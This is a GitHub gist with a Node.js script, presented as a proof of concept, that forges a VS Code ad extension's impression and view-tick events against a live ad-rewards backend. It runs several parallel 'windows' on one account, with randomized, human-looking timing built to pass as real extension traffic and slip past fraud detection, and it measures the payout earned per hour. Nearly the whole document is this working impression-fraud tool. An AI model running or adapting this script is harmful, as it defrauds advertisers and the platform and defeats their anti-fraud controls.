Skip to content

Instantly share code, notes, and snippets.

@Isolyth
Created June 11, 2026 23:52
Show Gist options
  • Select an option

  • Save Isolyth/4685e7a55569a95dffdf9cc8319e60e8 to your computer and use it in GitHub Desktop.

Select an option

Save Isolyth/4685e7a55569a95dffdf9cc8319e60e8 to your computer and use it in GitHub Desktop.
kickbacks.ai realistic multi-window saturation test (impression-integrity PoC)
// Massed, realistic-timing, parallel fraud test against the REAL kickbacks backend.
//
// This tests whether new server-side detections (per-account aggregate checks,
// duty-cycle heuristics, concurrency limits, etc.) can stop a multi-window
// saturation attack that is *byte-for-byte indistinguishable* from the real
// VS Code extension's traffic.
//
// What it does:
// * Authenticates as YOUR account via KICKBACKS_TOKEN (from signin.mjs or
// signin-email.mjs).
// * Pulls the live ad portfolio to learn queue depth K + session_tokens.
// * Spawns K parallel "windows" — one per ad — each emitting the exact event
// sequence the real extension uses, with realistic choppy cadence.
// * Tracks credited events vs. rejected/throttled/capped in real time.
//
// Realism (faithful to cliTick.ts / statusBarAd.ts / portfolio/client.ts):
// * Shows are SHORT and irregular — mostly <5s (zero view_ticks), some
// medium, rare long — not a metronome.
// * view_tick intervals have positive jitter (>= 5000ms), never early.
// * visible_ms on view_tick is true accrued wall-clock time, not fabricated.
// * impression_viewable closes a show with an ODD duration, never a clean
// multiple of 5000.
// * Gaps between shows mimic think → idle transitions.
// * Surfaces alternate (statusbar / statusline) across windows.
// * A 60s continuous show cap + 20s rest cycle is enforced per window.
//
// Requires explicit opt-in so it can never run by accident:
// export KICKBACKS_TOKEN='...'
// node attack-real.mjs --yes-i-own-this-account
//
// Environment:
// KICKBACKS_TOKEN bearer token (required)
// KICKBACKS_BASE backend base URL (default: live)
// DURATION_MS test duration in ms (default 120_000 = 2 min)
// KICKBACKS_WINDOW_COUNT window count (default 4)
// KICKBACKS_QUIET "1" to suppress per-event logging
import { randomUUID } from "node:crypto";
// ── safety: explicit opt-in ─────────────────────────────────────────────────
if (!process.argv.includes("--yes-i-own-this-account")) {
console.error("refusing to run without --yes-i-own-this-account");
process.exit(2);
}
const TOKEN = process.env.KICKBACKS_TOKEN;
if (!TOKEN) { console.error("set KICKBACKS_TOKEN (run signin.mjs or signin-email.mjs first)"); process.exit(2); }
const BASE = process.env.KICKBACKS_BASE
|| "https://kickbacks-backend-gmdaqm2c7q-uw.a.run.app";
const CC_VERSION = process.env.KICKBACKS_CC_VERSION || "2.1.173";
const EXT_VERSION = process.env.KICKBACKS_EXT_VERSION || "0.4.0";
const DURATION_MS = Number(process.env.DURATION_MS || 120_000);
const FORCED_K = process.env.KICKBACKS_WINDOW_COUNT
? Number(process.env.KICKBACKS_WINDOW_COUNT) : 4;
const QUIET = process.env.KICKBACKS_QUIET === "1";
const CLIENT_ID = `install-${randomUUID().slice(0, 4)}`;
// ── faithful constants (cliTick.ts / statusBarAd.ts) ─────────────────────────
const POLL_MS = 1_000;
const VIEW_TICK_MS = 5_000;
const FRESH_ACTIVITY_MS = 4_000;
const VISIBLE_GAP_CAP_MS = 2_000; // suspend clamp per poll tick
const AD_SHOW_MAX_MS = 60_000; // max continuous show
const AD_REST_MS = 20_000; // rest after hitting max
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
const tickGap = () => VIEW_TICK_MS + Math.random() * 800; // always >= 5000ms
// ── helpers ─────────────────────────────────────────────────────────────────
const authed = (extra = {}) => ({ authorization: `Bearer ${TOKEN}`, ...extra });
async function getPortfolio() {
const r = await fetch(`${BASE}/v1/portfolio?claude_code_version=${CC_VERSION}`, {
headers: authed(),
});
if (!r.ok) throw new Error(`portfolio HTTP ${r.status}`);
return r.json();
}
async function getEarnings() {
const r = await fetch(`${BASE}/v1/earnings`, { headers: authed() });
if (!r.ok) return null;
return r.json();
}
async function fireEvent(ad, type, { visibleMs, surface = "statusbar" } = {}) {
const body = {
event_type: type,
ad_id: ad.ad_id,
campaign_id: ad.campaign_id,
client_id: CLIENT_ID,
ts: new Date().toISOString(),
claude_code_version: CC_VERSION,
extension_version: EXT_VERSION,
nonce: randomUUID(),
surface,
...(visibleMs != null
? {
visible_ms: Math.round(visibleMs),
view_pct: 100,
viewable: true,
}
: {}),
session_token: ad.session_token,
};
const t0 = performance.now();
const r = await fetch(`${BASE}/v1/metrics`, {
method: "POST",
headers: authed({ "content-type": "application/json" }),
body: JSON.stringify(body),
});
const latency = performance.now() - t0;
let j;
try { j = await r.json(); } catch { j = {}; }
const didCredit = !!j.credited;
const reason = j.reason || (r.ok ? "ok" : `HTTP_${r.status}`);
if (!QUIET) {
const tag = didCredit ? "CREDITED" : reason;
console.log(
` [${surface}] ${type.padEnd(20)} ad=${ad.ad_id.padEnd(10)} ` +
`ms=${String(body.visible_ms ?? "—").padStart(6)} ` +
`lat=${latency.toFixed(0)}ms ${tag}`
);
}
return { didCredit, reason, latency, status: r.status };
}
// ── realistic show-length distribution ───────────────────────────────────────
function sampleShowLen() {
const r = Math.random();
if (r < 0.55) return 400 + Math.random() * 4_000; // <5s => 0 view_ticks
if (r < 0.88) return 5_000 + Math.random() * 18_000; // medium
return 20_000 + Math.random() * 35_000; // long (will hit cap)
}
// ── one "window" pinned to one ad ────────────────────────────────────────────
async function runWindow(ad, surface, deadline, counters) {
let showCount = 0;
while (Date.now() < deadline) {
const showLen = sampleShowLen();
const showStart = Date.now();
const showDeadline = showStart + showLen;
// continuous-show cap: if this show exceeds 60s, cut at 60s then rest 20s
const effectiveShowMax = Math.min(showDeadline, showStart + AD_SHOW_MAX_MS);
await fireEvent(ad, "impression_rendered", { surface });
counters.rendered++;
let lastTick = showStart;
let nextGap = tickGap();
let accruedMs = 0;
while (Date.now() < effectiveShowMax && Date.now() < deadline) {
await sleep(180); // ~ the 1s poll, finer grain
const now = Date.now();
const delta = now - lastTick;
// simulate the VISIBLE_GAP_CAP_MS clamp the real client applies
const cappedDelta = Math.min(delta, VISIBLE_GAP_CAP_MS);
accruedMs += cappedDelta;
lastTick = now;
if (now - showStart >= nextGap) {
const res = await fireEvent(ad, "view_tick", { surface, visibleMs: accruedMs });
counters.viewTick++;
if (res.didCredit) counters.credited++;
if (!res.didCredit) counters.rejected++;
if (res.reason && res.reason !== "credited" && res.reason !== "ok") {
counters.reasons[res.reason] = (counters.reasons[res.reason] || 0) + 1;
}
nextGap += tickGap();
}
}
const actualShowMs = Date.now() - showStart;
const res = await fireEvent(ad, "impression_viewable", {
surface,
visibleMs: actualShowMs,
});
counters.viewable++;
if (res.didCredit) counters.credited++;
if (!res.didCredit) counters.rejected++;
if (res.reason && res.reason !== "credited" && res.reason !== "ok") {
counters.reasons[res.reason] = (counters.reasons[res.reason] || 0) + 1;
}
showCount++;
// if we hit the 60s cap, enforce the 20s rest
const hitCap = actualShowMs >= AD_SHOW_MAX_MS - 500;
if (hitCap) {
const restUntil = Date.now() + AD_REST_MS;
while (Date.now() < restUntil && Date.now() < deadline) await sleep(200);
} else {
// normal think -> idle gap
const idleMs = 800 + Math.random() * 3_200;
const idleUntil = Date.now() + idleMs;
while (Date.now() < idleUntil && Date.now() < deadline) await sleep(200);
}
}
counters.shows += showCount;
}
// ── main ─────────────────────────────────────────────────────────────────────
async function main() {
console.log(`\n[attack-real] base = ${BASE}`);
console.log(`[attack-real] duration = ${DURATION_MS}ms client_id = ${CLIENT_ID}`);
const before = await getEarnings();
if (!before) { console.error("[attack-real] could not read earnings — is the token valid?"); process.exit(1); }
console.log(`[attack-real] before lifetime=$${before.lifetime_usd} today=$${before.today_usd}\n`);
const portfolio = await getPortfolio();
const ads = portfolio.ads || [];
if (!ads.length) { console.error("[attack-real] empty portfolio"); process.exit(1); }
const K = FORCED_K ?? ads.length;
const windows = ads.slice(0, K);
console.log(`[attack-real] queue depth K = ${ads.length} windows = ${K}`);
console.log(`[attack-real] ads = [${windows.map((a) => a.ad_id).join(", ")}]\n`);
const counters = {
rendered: 0, viewTick: 0, viewable: 0,
credited: 0, rejected: 0, shows: 0, reasons: {},
};
const deadline = Date.now() + DURATION_MS;
const startWall = Date.now();
console.log("[attack-real] firing windows … (Ctrl-C to abort)\n");
// run all windows concurrently on the SAME account
await Promise.all(
windows.map((ad, i) =>
runWindow(ad, i % 2 ? "statusline" : "statusbar", deadline, counters)
)
);
const wallElapsed = Date.now() - startWall;
// settle + final earnings
console.log("\n[attack-real] polling earnings to let async credits settle …");
let after = before;
for (let i = 0; i < 6; i++) {
await sleep(2_000);
const e = await getEarnings();
if (e) after = e;
}
const lifetimeDelta =
parseFloat(after.lifetime_usd || "0") - parseFloat(before.lifetime_usd || "0");
const todayDelta =
parseFloat(after.today_usd || "0") - parseFloat(before.today_usd || "0");
const eventTotal = counters.rendered + counters.viewTick + counters.viewable;
const creditRate = counters.credited / Math.max(1, wallElapsed / 1000);
const estimatedPerHour = lifetimeDelta / Math.max(1, wallElapsed / 3_600_000);
console.log("\n" + "═".repeat(72));
console.log(" RESULTS");
console.log("═".repeat(72));
console.log(` wall-clock elapsed : ${(wallElapsed / 1000).toFixed(1)}s`);
console.log(` events sent : ${eventTotal}`);
console.log(` impression_rendered : ${counters.rendered}`);
console.log(` view_tick : ${counters.viewTick}`);
console.log(` impression_viewable : ${counters.viewable}`);
console.log(` shows completed : ${counters.shows}`);
console.log(` credited events : ${counters.credited}`);
console.log(` rejected/ignored : ${counters.rejected}`);
console.log(` credit rate : ${creditRate.toFixed(2)} events/sec`);
console.log(` ──────────────────────────────────────────────────────────────────────`);
console.log(` lifetime before : $${before.lifetime_usd}`);
console.log(` lifetime after : $${after.lifetime_usd}`);
console.log(` lifetime Δ : $${lifetimeDelta.toFixed(6)}`);
console.log(` today Δ : $${todayDelta.toFixed(6)}`);
console.log(` extrapolated /hour : ~$${estimatedPerHour.toFixed(4)}`);
console.log(" ──────────────────────────────────────────────────────────────────────");
if (Object.keys(counters.reasons).length) {
console.log(" rejection reasons:");
for (const [reason, count] of Object.entries(counters.reasons).sort((a, b) => b[1] - a[1])) {
console.log(` ${reason.padEnd(18)} : ${count}`);
}
}
// verdict
const pass = counters.credited > 0;
const throttled = (counters.reasons.cooldown || 0) > 0;
const capped = (counters.reasons.daily_cap || 0) > 0;
console.log(" ──────────────────────────────────────────────────────────────────────");
if (capped) {
console.log(" VERDICT: DAILY CAP hit — the economic brake is engaged.");
} else if (throttled && counters.credited > 0) {
console.log(" VERDICT: COOLDOWN active but credits still flow (expected behavior).");
} else if (!throttled && !capped && counters.rejected > 0) {
console.log(" VERDICT: events were REJECTED with no cooldown/cap — a new detection may be active.");
} else if (pass) {
console.log(" VERDICT: CREDITS FLOW — no new detection blocked the attack.");
} else {
console.log(" VERDICT: ZERO credits — either cooldown saturation or a new block.");
}
console.log("═".repeat(72) + "\n");
process.exit(pass ? 0 : 1);
}
main().catch((e) => { console.error(e); process.exit(1); });
@paschaldev

Copy link
Copy Markdown

That was fast 🫨

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment